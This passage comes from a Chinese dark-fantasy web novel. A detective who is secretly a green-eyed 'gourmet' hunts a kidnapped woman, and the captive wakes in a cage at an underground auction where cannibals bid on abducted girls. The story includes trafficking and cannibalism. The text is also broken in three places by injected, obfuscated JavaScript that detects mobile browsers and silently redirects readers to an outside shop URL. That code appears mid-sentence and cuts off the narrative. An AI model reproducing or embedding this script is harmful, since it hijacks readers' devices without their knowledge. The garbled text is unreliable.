陌生女人架着瘫软的邓烟雨,踉踉跄跄消失在走廊尽头。公冶看似沉稳,实则脖子上青筋都爆了起来。 “再过去是后门通道了,”老板一筹莫展,“那里还没装监控。” 老板娘拍腿叫道:“后门出去是后街,黑咕隆咚的,我们不让客人走的呀!” 公冶转身离开,老板娘急得跳脚,生意也顾不上,巴巴地追在后头,苦不堪言赔罪:“同志对不住,对不住啊,今晚太忙太忙了,谁能想到有人会在女厕所拐人,她、她肯定是人贩子!您一定要追查她!我们小本生意,您千万不要怪罪到我们头上……” 他知道老板娘是想开脱,但无所谓了,至少以目前形势看来,最该受千夫所指的人是他。 老板脑子转得快,拔腿冲出去找外边的民警。晚了一步,他们已经提人回派出所了,他只好十万火急折回来,直奔后门找公冶,嘴巴刚张开,背对他的男人便不带任何情绪地开口:“联系警方,就说绑架。” “您……” “我不是本地的。” “噢噢!”夫妻二人连连点头,“我们这就去报警!” 后门杂物堆积,公冶用脚踢开松动的纸箱子,拧转把手。边陲的隆冬散发着极致的冷,风猛如刀削,视野里映出一条宽阔的石板路,藏污纳垢的垃圾桶排列在侧,近零度的低温掩盖了剩菜味,墙根还积着未铲的脏雪。 鸡公煲店开在最边上,左侧被栏杆抄起来,没路了。他观察四周,多家店铺尚未开业,有一家潮汕牛肉火锅拉着“敬请期待”的门面围挡。 这里异常凄冷也异常晦暗,没有装置摄像头,就算装了也不会开,连路灯也是空壳子摆设。 耳畔水声汩汩,他走向石砌的白护栏,望着不曾结冰的河流,远方河面荡出潺潺的五光十色,是隔岸古街投下的一汪灯红酒绿。 他默然张望片刻,沿着一间间小黑屋似的空店铺往东走,走出后街,踩上一座拱桥,跨过了河。 对岸是截然不同的繁华,稀有气体在玻璃管里激情来电,斑驳陆离的灯光泼得满地人影碎晃,空气中浮着湿漉漉的醉意。 这片林子一派烟火迷蒙,是条妖艳的酒吧街。 伫立于熙熙攘攘的人潮间,他再次看向时间,9点45分,距离邓烟雨失踪已过去1小时17分钟。 他抱着体温流失殆尽的淡粉大衣,抓不到希望的吃力感使他良久未动,裹足不前。 在道路四通八达,不被监控跟踪,有充足时间乔装改扮的条件下,她会被带去哪里? 没有明确的作案动机告诉他,病墟县是唯一的落脚点。 公冶从不觉得一个“陌生的环境”可以威胁到他,当年他初任特发警,被频繁调遣各地,身处不熟悉的地域,意外状况再多他也能随机应变。 遇到再大的困难,他也能冷静下来寻找突破口。 这次理应也是这样,保持一颗平常心,游刃有余地思考、应对、解决,再不济和灯港警方协作配合侦查,总有蛛丝马迹可寻。 理应是这样。 可他发现了,没遇到邓烟雨之前,他确实比机器还坚硬,从何时开始,屡屡碰上关于她的事,他就像熬在火舌下的干柴,轻易折断了理智。 吸毒美那次,张烬那次,还有这次。 他清晰地意识到自己心乱了。 时间再度跳了一个数字,分秒必争提醒着公冶,它不单单是在规律变动,它还能献上宛如祝福的死期。 公冶眼睛干涩,很想找个地方把美瞳摘了,不过在此之前,他需要联系一个人—— 下滑联系人列表,拇指悬在“楚知元”三个字上,点击,拨通。 “大少爷,又要小的帮您搜罗什么五湖四海新鲜事啊?” 楚知元大概率是被甩了,这会游走在名利场上,聊以慰藉地散散心,惹了公冶一耳朵春风得意。 “灯港最近失踪案你了解多少?”公冶比冷面佛还不近人情,一句话就让电话那头的笑面虎再也快乐不起来。 对面那张忙着攀高结贵的嘴闭了几瞬,说:“你打听这个干什么?” “我这出事了。” “我靠,你在哪?” “北大街。” 北大街?那帮狗娘养的把手伸到了“活人区”?胆也太肥了吧。 “上帝,”楚知元一巴掌拍脑门上,“我出钱,求你找位大师驱驱邪吧。” “没时间跟你废话。” 楚知元苦笑:“你有看到寻人启事么,贴了满墙的病墟县。” “真在那?” “不在那。” 公冶:“……” 楚知元离狐朋狗友远了些,说:“别去病墟县,去也是白跑一趟。前些日子警方把那块地翻了个底朝天,上世纪古董都顺出一只,也没挖着半个活人,我敢打包票,他们拿病墟县当幌子呢,去那没用,他们老巢不在那。” 公冶神色非常差:“这事和美食家有关系?” “唔……一半一半吧。我不拐弯抹角啊,你那姑娘凶多吉少了,不是被偷渡出去就是进肚里了,你最好在午夜的钟声敲响前找到你的公主,不然……” 公冶呼吸轻抖:“知元,不跟你开玩笑。” “渡莲,我也不跟你开玩笑,你现在必须有个底,这是最糟的情况。” 公冶想起特警的忠告,问:“卡萨古城有问题?” “卡萨古城那一带一直有问题。” “有他们确切的位置吗?” “这我哪知道,我是干IT的,又不是干特工的,你要不报警吧,”一想他不就警察么,楚知元给自己翻了个磕碜的白眼,“樽丹有熟人吗?” “没有。” “你现在怀疑谁?” “卡萨。” “我还有一招,打投诉电话,举报卡萨开地下钱庄,充当‘中转站’。” 公冶皱眉。 “损是损了点,你要是被查到了工作必丢,你考虑清楚。” 对面没声了,感觉真的在考虑,楚知元担心他冲动行事,又说:“我这意见不好,让你病急乱投医了,你别听我的,等立案吧。” 还等立案? 他等不起了。 如果邓烟雨出事,他该怎么和她的父母交代?他完全不敢想象活了半辈子骤然痛失独女,他们会变成什么样。 公冶挂断电话,准备跨进一家酒吧,正翻出存在手机里的嫌疑人照片,极度敏锐的感知力让他察觉到身后有“一根刺”扎着。 不能说一根,而是一道,类似刀子般飞来的眼神,狠毒地剜他,却惶惶地与他保持距离。他没有回头,继续正常走动,靠近酒吧,拉开门,等那道视线不紧不慢从自己背后挪开,这才隔着玻璃,轻悄悄侧过一点—— 中年人微驼的厚实背影匿于人海,来往混乱,那人的满头卷毛一闪即逝。 公冶保持着开门进去的姿势,低垂的睫毛下,那道目光不善地锁定在卷毛大叔消失的方向,隐形眼镜也遮不住其中寒光。 他的双眼,露出了兽性的凶狠——盯上了“肉”的凶狠。 卷毛大叔嫌天气冷,抱着臂膀,缩着脑袋,在人海里七弯八拐,偶尔吸一下发痛的鼻子,明知痛还是吸,大概是习惯养成。 他走了好些路,惹到只狗,被追了几条街,甩掉它后推进一家酒吧。 公冶尾随其后。 这家夜店里面玩疯了,DJ掀翻屋顶,一窝妖魔乱舞,摇头灯照耀着台上持鞭的辣妹,无数猛男对她们吹口哨,啤酒喷天,公冶在震耳的欢呼尖叫声里避让前行,犹如一头饿了个把月的孤狼,为叼下一口鲜热,而不惜一切代价。 红色聚光灯笼住了他,像披了一身血。 卷毛大叔进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579301|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男厕所,公冶绕到吧台靠边位置坐下,调酒师生了一副狐狸精的美色,向他缓步走来,勾唇一笑。 “一杯边车。”公冶没来过这种色气四溢的酒吧,不适地说。 “小哥……”调酒师笑着,摸他的手背,格外柔情,“瞧你酒量不错,来杯Negroni?” 公冶表面装得滴水不漏,鸡皮疙瘩已被摸出一大片。他果断把手一抽,向那人投去警告的眼神。 “随你。” 调酒师肩一耸,装害怕:“好凶喔。” 调和着三种酒的尼格罗尼推来了,像搅了一杯晚霞在里头,橙皮卷曲着泡在冰块上。卷毛半天不见出来,他没耐心守株待兔,也怀疑这人会趁机逃走,正待起身去寻,调酒师来了一声:“再等等吧,快了。” 公冶转头看他。 “先生,你好急哟,这么耐不住性子的么?” “你认识他?”公冶嗓音淡漠。 调酒师笑而不语。 公冶领会其意,饮下烈酒,将空玻璃杯推过去,调酒师笑意渐深,为他再次调制:“这样嗜酒可不好哦,万一喝出一身毛病怎么办,要像他女儿那样病得只能砸钱续命,三天两头往手术室里住去,这人生还有什么滋味?” “不过他这些年拜对了庙,傍上个出手阔绰的金主,一夜发达了,这不每每完事,都能来我们跟前儿小酌一杯。” 调酒师眼神示意左侧,公冶瞥去,卷毛大叔抱着个黑色手提大包走出来,坐在离他五六米远的老位置,要了一杯教父。 喝了不久,他就颤着二两腮帮子肉,拉住女调酒师大倒苦水,左手无名指的银戒箍得略紧,指肉鼓鼓挤出。 “他结婚了?” 调酒师摆了下手:“不然哪来的闺女。” 公冶将手机调转:“这两人见过么?” 调酒师倾身一瞧:“戴鸭舌帽的看不清脸呀,不过瞧着年纪小,倒和他闺女挺像的……唔,这一张……” 公冶放大照片,没让邓烟雨出镜:“只看扶人那个。” “先生,你那么聪明,其实心里头早有答案了吧。” 公冶听到这声,利落地抬眼,同时收回手机。 “你干坏事,会拖家带口的吗?”调酒师轻笑着反问他。 公冶无意再与之交谈,却被他按住手臂。 “先生,我劝你别玩私家侦探那套游戏,那人的后台,”调酒师凑近了,在他耳际呵了口热气,“硬着呢。” 公冶没有被恶心到,静了片刻,对他慢慢放出个笑来:“谢谢提醒。” 调酒师触上他漆黑的瞳仁,不知怎的,浑身一凛,那股酥麻劲好像被置在猛蹿的火炉上烤,满身的血液在电光石火间惊恐地奔腾起来。 “原来是未实名的大食主……” 调酒师脸色陡转,欣赏的目光压着几丝贪婪意味,恋恋不舍地退后。公冶见卷毛要走,对调酒师说:“你们几点开门?” “晚六。” “衣服寄存你这,”公冶将粉大衣交到他手上,“明天来拿。” “好,您放心,我会妥善保管。”调酒师笑吟吟地捧过质地柔软的大衣,生怕它有一丝褶皱,接得极小心。 第二杯酒一口未喝,他付了钱离开吧台,卷毛也没多歇,双手拎着大包往门外去。公冶冷冷瞧了一会,抓乱自己头发,趁他出门之际往他身上一撞! 卷毛被撞得噔噔噔刹不住步子,朝前扑去,差点摔了个狗吃屎,饶是如此手还紧紧护着包,他怒得抹了把脸,扭头就要破口大骂。 彩灯闪射,匿着昏暗,依稀可见一个黑衣男子侧对自己,单手撑墙,烂醉如泥地跪倒。 “醉鬼……妈的不会喝酒来这干嘛,傻缺。”卷毛懒得和醉鬼一般见识,爽快爽快嘴,拍衣服走了。 等他出去,公冶放下掩唇的手,垂眸凝视自己释放出来的五根尖指。 他在那只沉甸甸的包上划了一爪。 49. 狂欢开始 走出酒吧,公冶已摘掉隐形眼镜,冷风吹来干净的空气,长街光影乱摔,沿着他挺拔的身姿流泻一地。 他洗过手了,可血腥味仍在鼻息间隐约地蔓延。 那是旁人闻不出的异样。 十分钟前,卷曲在酒杯边缘的装饰橙片带着冰镇的香气滑了下去,公冶将酒举至唇边,即便靠它缓解,依旧无可避免地嗅到五六米开外,那只黑色大包里阵阵腐烂出来的血肉味。 持杯的手注入了力道,随即恢复如初——不是邓烟雨的血味。 那包“肉”被现杀现吃,“熟”了有两天以上,又在乌烟瘴气的环境下焖了一晚,味道彻底馊了。 他放下酒,胃里难受得翻江倒海。 卷毛提包时用了两只手,看包下沉的状态,里面大约装着二十斤肉,小半个人的分量,底部晃荡得有点厉害,液体都积在那。 所以他在接近黑包底部的侧面位置留了痕迹。被破坏的布料撑不起那样一坨零散的重物,几番牵扯就会裂开。 潮亮的石板地上,淅淅沥沥砸下数滴污迹,延进黑暗,人们借着光也看不清那细细流出的是什么东西。公冶手插口袋,逆着人流往废旧巷子里去。 “这呢!” 远离北大街的盘山公路脚下,一辆老款桑塔纳打着双闪,卷毛大叔把黑色大包搬入后备箱,关上尾门,绕去前方坐进车内。 车门碰上以后,周遭安静了,他反而有些心绪不宁,瞟了眼后视镜里空无一人的路面,发动汽车,对后座的母女说:“这票干完,咱们就离开灯港。” 两颗灯泡眼努力睁亮,车子发出吭哧一声,喷着尘烟上路。 “你又喝酒……”良久,后座飘来女人的埋怨,嗓音沙哑至极,像抠嗓子眼吐过。 “我天天帮他们收拾残局,不喝点酒壮胆,还能活吗?” 女人咕哝一声:“食爷们没、没吃完啊?” 卷毛扁扁的小眼睛睨向单黄线,默了会儿,嗯出一声。 “那你……把她藏在哪了啊……” “骡子留了份遗产,”卷毛说,“厕所靠里第三块镜子后头有个洞,以前藏了老多‘钻石’,骡子进去以后,那地儿归我晓得,塞包肉正好。” “你给女儿积点德吧。” 迂回的山路上,迎面开来一辆车,脑残地打着远光灯,光线掠近一闪,正好照出后座相依的母女俩。妇人身穿黑色冲锋衣,一撮黄发掉落额前,两颊凹陷愁容枯槁。女孩已经摘下鸭舌帽,稚气未脱的苍白脸蛋看着不过十四五岁。她靠在母亲硬邦邦的怀里,一时分不出哪个才叫病入膏肓。 “他们入冬发了兽性,见着细皮嫩肉的就恨不得扑上去,前儿还要死要活地发话挑个年轻姑娘开小灶,饿成那副德性咋就没吃完啊,害我来善后……” 女孩听母亲说得更损阴德,害怕地咬紧虚无血色的嘴唇。 “唉,食爷儿们嘴巴挑剔,那姑娘年纪是轻,但身子管得不太好,怕是昼夜颠倒地过活,里头啥分泌都紊乱了,咬起来肉腻油多,发了荤臭,”山路荒凉得闹鬼,卷毛仗着车少,踩重踏板,提上四十迈,“妈个蛋的我只管抓人递去,哪扒得出成色来,她看上去和瘦子一样啊,谁知道囤了一肚子一腿的脂肪,为这事我挨了好一顿骂呢,不过几位爷也是背着大食主子偷腥,发作不到台面上,娘们似的切着用了足足两天,剩半拉身子吃不下了,留着怕露馅,叫我拿去丢掉,我青天白日的难道找个狗洞丢去啊?没辙了就先在镜子后头藏一藏。” 女人也心疼丈夫为了筹钱,不要脸面地给肉畜做小伏低,任由他发泄不满,叹气说:“不管这些,你钱到账没,咱闺女的病不能再拖了……” “定金进袋了,还差一半,说是今天这个姑娘到他们手上,再转我。” 开上笔直大道,卷毛又犯老毛病,油门一股脑轰起,速度超得要撞山。 “今天这个……”妇人去回忆邓烟雨娇软的脸和前凸后翘的身材,“长了身好肉,能被他们养上一阵子吧?” “啧,说不准啊,要是给大食主看中了,她就有的日子来过了;要是她今晚一出笼就给食爷儿们捉去玩游戏,这丢不丢命是另一回事,凭她活好,逗得爷儿们开心了,咱到手的酬劳说不定也能丰厚些。” 女孩突然抓住左胸,张嘴一抽一抽,快出现倒气症状。 “好了好了不说这个,别把小花吓坏了!”女人焦急地筛出药片,让孩子含服,冲斜前方那个没分寸的人斥道,“开慢点你!” “好好好,小花,爸爸不说了啊,你啥也不要想,明儿钱到账,你就可以做手术了,爸爸一定把你的病治——” 嘭!!! “啊啊啊啊什么——” 车内后视镜下的“一路平安”挂件颠得当啷乱飞,前端受到重压,老破车的两个后轮生生抬了起来,悬在半空,车里的女人小孩发出惊惧的尖叫。 轰隆——阴霾密布的夜空骤然电闪雷鸣! 车屁股像跷跷板支起的一端,朝着天空静止了一瞬,嘭咚摔回地面,震坏了车内没系安全带的三人。卷毛头皮擦破,有那么一刻昏迷过去,很快在战战兢兢的啜泣声中醒来,撑住方向盘往外看,只见挡风玻璃前站着一名男子。 男人手插口袋,融入夜色的黑大衣被山风吹得翻荡,仅用一只左脚踩住了笨重的车头,因发力过猛,车头已被他蹬得变形,狰狞地凹出一口铁疙瘩来。 卷毛打了个寒噤,哆嗦着下嘴唇,看神经病一样看着他。 刚刚,他可是开到……开到将近八十迈啊…… 轰隆——! 又是一阵劈天盖地的惊响,曝亮了男人的模样。 这个男人,正瞪着一双翠绿的毒眼死死盯住他们,果真是个神经病。 “老……老俞……” “老俞……” 妇人抱紧了孩子,溢出哭腔:“是什么啊……你撞人了……?” 卷毛两颊的肉抖得滴水,粗喘好一会才察觉滴出来的不是水,是冷汗。他通身肥肉在颤栗,虚脱的短胖手攥紧滑腻的方向盘,脚挪到油门踏板上。 撞死他,直接撞死他! 珍美而已,中级而已!老子见过更厉害的,老子能撞死他! 两股悬殊的气焰狭路相逢,卷毛在一触即发前就先吓破了胆,可正是被对方逼到无路可退的境地,他便逆转般地生出直勾勾的恶意,抛开生死,与男人无声爆裂的双眼交战,也是倏忽之间,他认出了这张脸,明白了一件事—— 那虽然是个疯子,却是一个被他逼疯的疯子。 这个疯子找了一晚上的人,找到酒吧街的时候,被卷毛发现了,不过看他进错了酒吧,就知道他还没有理出什么头绪,卷毛便放过了他。 没想到会被跟踪,这个疯子一直在跟踪自己。 他的眼睛不曾眨动分毫,目光沉满了死气,卷毛并未从中寻出食人怪对人类的贪馋与渴望施虐的兴奋光芒,他想生吞活剥的只是一个真相。 仿佛历经了一场困兽犹斗的厮杀,公冶追上他们后,周身的怒意全散了。他疲惫地垂头松了口气,收回脚,不再踩着车头,手也从口袋里拿出来,往旁边的公路观景台一指。 卷毛没反抗,也没犹豫,方向盘右打,桑塔纳开到简陋的观景台上。 妇人看见那个美食家,无端的熟悉感让她极力辨认着:“啊……!”她反应过来,吓得眼泪夺眶而出,“老俞!他不就是,不就是那姑娘身边的……!他怎么找来的?!不要,不要!!” “闭嘴!!!”卷毛脸孔惊愤得扭曲。 “冲过去吧!下车就真完蛋了,不就是珍美么,还不至于被他怎么样,我们不能停下来啊!” “逃不了的,这只比我见过的大食主要难搞,”妇人听了这话,震愕得舌挢不下,卷毛无能为力地踩刹车,拉起手刹,“你们不要出来,无论什么动静都不要出来,你要照顾好小花!!你听到没?!” “我知道了……!”妇人搂着也在颤抖大哭的孩子,绝望地摇了摇头。 卷毛撒开方向盘,视死如归地呼出一口气,开门下车。 观景台上寒风涤荡,栏杆外是陡峭巍峨的群山,那风一下一下冲击着他敦实的身背,他去看公冶,此人眼眸翠绿偏浅,情绪皆搁在里头没杀出来,看着是想好好谈,但卷毛经验多,品得出来,他许久没吸血了。 公冶朝他走去,手机亮屏,往卷毛脸上一怼。 光甚刺目,一张餐馆走廊上的照片映入眼帘,自己的老婆架着个小姑娘。 公冶说:“人呢?” 卷毛听完愣了,以为他会不由分说揍自己一顿,谁知还挺客气:“什么?” “我问你,”公冶耐着摇摇欲坠的良心,狠声说,“人呢,你们把照片里的女孩带到哪里去了?” “人……我……我不知道,”见他是讲道理的,卷毛顿时狗改不了吃屎地发起威来,“你有病吧,这条路没灯,你冲我车子前头不想活了?!” “……” 两个人就站在激烈的风声里,平静对视。 公冶被他装傻充愣的拙劣演技轰出了怒火,眼角拧得锋利无比,他头一次想用暴力来解决问题。 “不知道?不知道是吧?好。” 再三确认,卷毛只管闭嘴摇头,他冷笑了一声,俊美的面容缓缓撕开,大步流星越过卷毛,走向桑塔纳,猛然打开后车门。 “啊啊啊啊啊——妈妈!”女孩一仰头,望见个高大恐怖的男人,心脏霎时紧缩,瘫软在母亲怀里抽搐,眼珠子吊起。 “不要,不要啊!!”妇人大叫着,一手抱孩子,一手哆嗦地挥,“我求你别吃我孩子,我求你——” “老俞!!” 卷毛知道自己干蠢事了,扇了自己一巴掌,屁滚尿流摔过来,扑通一声跪在公冶脚下:“爷,爷!我孩子心脏不好,我求你别吓她!我错了,我错了!我给您磕头,您饶了我孩子吧!”说着竟然真的咚咚咚磕起响头。 公冶从没领教过这种阵仗。 “对不起——”妇人把孩子护在身后,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再往上,粗砺的铁链一晃不晃地垂下,犹如巨人筋骨发涨的臂膀,轻松捞住雕刻的顶心,和天花板上的复古石膏圆盘焊接,内嵌的钨丝灯日复一日灼烧得这口大家伙褪色掉皮。 天花板盘踞着一条西方巨龙,层见叠出的繁复龙鳞爬过眼前,水晶大吊灯宛如一朵向死而生的金色曼陀罗,灯珠裹火,光华纯净。 邓烟雨无法与它直视,如同无法直视太阳。她用了点劲,翻身坐起,底部随着她幅度过大的动作微微一摇。 这是一口鸟笼子。 她被换上一条纯白长裙。除她之外,周围每隔两丈吊着一顶笼子,整张天花板下至少有不下五十口的雕花鸟笼悬挂于高空中,里面都关着一个女孩,有的在哽咽哭泣,有的靠着铁栏,神情麻木。 而鸟笼外,庞大如古罗马圆形角斗场的浩瀚大厅座无虚席,鼎沸的人声一浪盖过一浪,邓烟雨看清了那些人,全身血液顷刻冷得逆流。 都是绿眼睛。 都是美食家。 她简直置身在一个隆重奢华的中世纪假面舞会,男人雍容尔雅,女人衣香鬓影,每个美食家打扮成高阶上流人士,脸上戴着绮丽诡异的面具。二楼贵宾看台坐着几名珍贵美食家,斜倚红沙发,谈笑风生,性感女郎斟了香槟递给他们,贵妇则掩着羽毛扇,穿戴华贵浪漫,伏在燕尾服男仆的胸膛前羞涩说笑,男仆的雪白衣襟已沾染她们的唇印。 这个容纳万人的场地,花团锦簇,妖魅围满,谲诡怪诞。 邓烟雨接受不了,她的记忆还停留在和公冶吃鸡公煲那会儿,对她而言就是眼睛一闭瞬移到这了。 场面太令人崩溃了。 她至今没有忘记在苏赞那堂课上听同学说我国美食家数量统计约在九千。 那眼下这些……是什么? 她以为自己做噩梦了,尝试站起来,可腿还软着,只能跪坐原地,便在这时听到下方传来一声:“女士们先生们——” 所有美食家绿眼放光,齐齐望向中央空场地,一个西装革履的男人站到了司仪台前,脸戴镂空的蝴蝶假面,深紫领口巾衬得他风情万种却不失矜持。 男人职业是拍卖师,为顺应此处规则,不欲展示真面目。他乌绿狭长的眸子在面具之后轻挑,撩出温柔笑意,和他脸上振起的蝴蝶羽翅交相呼应。 “欢迎莅临今晚的美食拍卖会,我们的晚宴即将开始——” 大厅爆出如潮涌至的呐喊,贵妇人的羽扇摇得好似花孔雀开屏。 “58件拍品已准备就绪,请尽情崭露您的獠牙与利爪,为主献上最赤诚的爱意——” “诸位,欢呼吧——” “哇哦————!!!” 千万只食人恶魔在午夜十二点的钟塔敲响最后一声时,全体高呼喝彩,震得天花板的巨龙心胆俱裂,几欲腾云飞走。 “那么……”拍卖师仰起头,神态亲昵地望向高处的女孩们。 他咧嘴一笑:“狂欢开始。” 50. 飞行棋 邓烟雨在惊天动地的狂呼声中找回一点判断的能力。 她跪得膝盖发疼,换了个盘腿坐的姿势,目光散落在雪白的裙摆上。 时间刚过十二点,她被迷晕抓来这昏睡了整整三个半小时,公冶就算察觉到人不见了,她手机没带,定位全无,也没留下有用的线索,一时间估计很难摸准她的去向。 邓烟雨使劲扭头去看被绑的手腕,叹了一声。 测仪也被收走了,它同样能锁定位置,但没有人体感温,五分钟后它会自动关闭。 获得外界援助的可能性微乎其微,目前只能靠自己。 十八只怪兽雕塑姿势各异,凶相毕绽,墙壁砖缝密不透风,衔珠喷雷的双头龙绕梁而下,铁爪上捧着逼真的火焰,说这里是个私下拍卖场未免牵强,“地下金宫”更适合形容它。 她来到了一座噬人的墓穴啊。 邓烟雨深呼吸,让自己的心跳平缓下来,待狂热的声潮退去,四周的啜泣声越发明显,有好几个女孩哭个没完,嗓子都哭哑了。 不难判断,这些女孩应该是灯港近期连环失踪案的失踪者。 以为远离病墟县即可万无一失,她错了。原来死神垂下镰刀,正是为了勾走他们这些普通渺小的人。 经历多次被美食家袭击,丰富的遇害经验反倒让邓烟雨镇定许多,不过她也难以保证,等到那一副副利齿朝自己张开时,她还能像现在这样听天由命。 “拍卖开始后,我会报出每件拍品的起拍价,凡响应该价的朋友,请高举您手中的号牌,以示应价,当场上出现两位……” 吊装大屏实时切换着画面,邓烟雨在自己腰侧发现一个号码——58。 也就是说,她是最后的拍品么? “若得各位一致决议,要求拍品参与游戏环节,争夺金丝雀的位置,请在游戏开始前及时为您心仪的雏鸟下注,以免错失一本万利的良机。” 看来这条命已经被孤注在那堆筹码里了。 邓烟雨暗暗嘲讽。至于金丝雀……她抬头搜寻,目光很快锁定于斜前方的看台。 一顶鎏金笼子静静孤悬在看台中央,男性美食家簇拥左右,金笼里也关着一个女孩,她身穿鲜红如血的晚礼服,褐色长发精心绾起,趴在羽毛装饰的软枕上懒洋洋伸手,接过一名美食家手里的紫葡萄。 她身后有幅巨大壁画,色彩冲突剥离,仿佛一桶油彩随手泼在了墙上。 邓烟雨看着她满不在乎和食人魔厮混在一起,眼中透出不可思议。 这女孩给人的感觉太割裂了。 “那么,晚宴正式开始,请上我们今晚的第一件拍品——” 拍卖师话音未落,离邓烟雨不远的一顶铁笼子咔嚓一声转动顶心的齿轮,锁链轰落,笼子骤然下坠,里面的女孩被突如其来的失重感吓懵了,随着急坠发出尖厉一声:“啊啊啊——!!” 鸟笼以自由落体的速度笔直降落,在迫近地面小半丈的距离停住,西服笔挺的男仆走上台,解锁笼门,女孩惊魂未定,迟迟站不起来。 “天呐,”隔壁笼子的女孩起了一身鸡皮疙瘩,“下降速度这么快?我最怕失重了,我跳楼机都不敢玩的啊。” 后面笼子的女孩痛哭流涕:“这是重点吗,我们要被吃了。” 男仆弯身,将女孩小心拉出来,她连挣扎也不挣扎,软着腿,被气息柔和的男仆体贴地扶住了,搭在她肩膀上的手修长,戴着白手套。 大伙仔细打量女孩。她体量纤纤,弱不禁风,单薄修身的衣裙应当极能显出体态起伏,套在她身上却呈直线垂落,令人乏味。 不过皮肤状态是真得好,白里透粉,发抖害怕时更添颜色了。 等了半刻,无人,拍卖师心领神会地说:“起标价五万。” “六万。”“七万。” 屏幕随即更换画面,放出举牌的美食家买主。 “二十。” “有人要出更高价吗?” “二十万一次——” “五十!” 邓烟雨听着哄抬的报价,波澜不掀的心池终于犯起狂风骤雨。 在美食家眼里,她们是摆在展示柜上明码标价的商品,所谓的尊严与人权从来不存在,艺术品才是能够赋予她们的至高无上的美称,而无论抬出多么惊人的身价,她们本质上等同玩物,最终只会沦为一碗野性爆发下的残羹。 怪物喜欢珍珠散发的光芒,也钟爱珍珠捏碎在手里的绝妙触感。 邓烟雨无能为力地背靠栏杆,抑制不住的慌乱从喘息中溢出。她注意到女孩腰侧的号码,是30号。 难道不是从1号开始吗,顺序是打乱的? 迟来的恐惧渗透全身,水晶大吊灯射得她视野晕眩。 女孩最后以六十五万的价格成交,被一个男性买主收走。邓烟雨望着30号女孩由两名红唇女郎带下场地,心里焦躁不已。 她会被带去哪里? 美食家买了她要做什么? 会和金笼里的女孩一样养着吗? 邓烟雨不敢细想,面上强装的镇定在第二只鸟笼落下之际,撑到了极限,彻底碎开。 他们是随机挑选拍品的,很有可能下一个便是自己。 第二个女孩被抓出笼子,能自行站着。她有点微胖,薄裙贴合着臀部,勒出些微的绷紧感,看台上一名女郎得到吩咐,举起号牌。 这个号牌没有数字,上面画着嘻笑的小丑,皮肤惨白,咧着血唇,嘴角惊悚地裂到耳根那。女郎的主子陷在沙发里,戴着冷艳的孔雀假面,喝醉了酒,一身张狂的欲气。 “哦?这个行?” 简简单单几个字,泛出空洞的回音,女孩听到不一样的答案,瞳孔不由得轻缩。 拍卖师端详微胖女孩一身不错的肉质,意外地眨了眨眸,耐心询问:“有要跟玩的朋友吗?” “有啊。” “算我一个。” “别犹豫了,各位,这个看着能爆汁。” 旁边的女人听了这话,细眉微蹙,嫌弃的表情掩在哥伦比娜面具之下,朝那男人一甩扇子:“哈,你啊你,就好这口是不是?” 没过多久,大伙异口同声举起牌,像小丑一样嘻嘻笑着叫他快点,拍卖师寡不敌众,配合地弯唇:“好,那就进入游戏环节。你自己抽一个吧。” 面无表情的男仆抱着一只箱子,走到女孩面前,女孩胆怯地抬头看看戴着简约黑面具的男仆,伸手往箱子里抓了一张纸。 揭开一看,上面写着“飞行棋”。 “哇,飞行棋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579303|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个轻松的游戏,你赢的概率比较大。” 拍卖师轻柔地出言提醒,让女孩扯紧的心弦放松不少,看台上的美食家意味不明地哄笑唏嘘,纷纷往红蓝两方下注。男仆们摆好道具,拉出椅子。 拍卖师问:“你们来不来?” 上一次2v2拉锯了好久,把大家都玩困了,四名男仆默然摇头。 被拒绝了,拍卖师冷冷嘁一声,转头对女孩灿烂露笑:“那就只有我来和你玩了,游戏规则知道吗?好,反正轮流摇骰子,出六就算激活飞机,四架飞机全到终点即赢,你若赢了,我们便答应你一个要求。” 女孩惊讶:“什么要求都可以?” 拍卖师笑:“对。” 那就代表她可以离开这口鬼窟了! 女孩高兴坏了,脸上却不露痕迹,她怕这帮家伙反悔。 飞行棋的游戏规则通俗易懂,两个人玩胜在快,女孩也放开胆子,选了常玩的黄色,有技巧地掷了两下骰子就掷到了六,顺利激活一架飞机。 直到她开出三架,瞄向对面,拍卖师的运气简直差得要死,所有的飞机坚如磐石地守在红色阵地里,正等待一个奇迹的出现。 “什么鬼,拜托给点力行不行,老子买你赢啊。” “手气这么臭,你玩个球!换人啦!” 赌在拍卖师这边的美食家眼见钱打水漂,骂骂咧咧闹成一片,拍卖师委屈地掷着骰子,说:“怪我干嘛,人背起来喝凉水都塞牙,时运不济呀~” 没良心的,都不为他加油。拍卖师伤心哭诉间,总算掷出六,兴高采烈地起飞了,结果勤勤恳恳飞了没几步,被女孩的第三架飞机追上,触发踩棋,瞬间逐回基地里。 买他赢的美食家气得发疯。 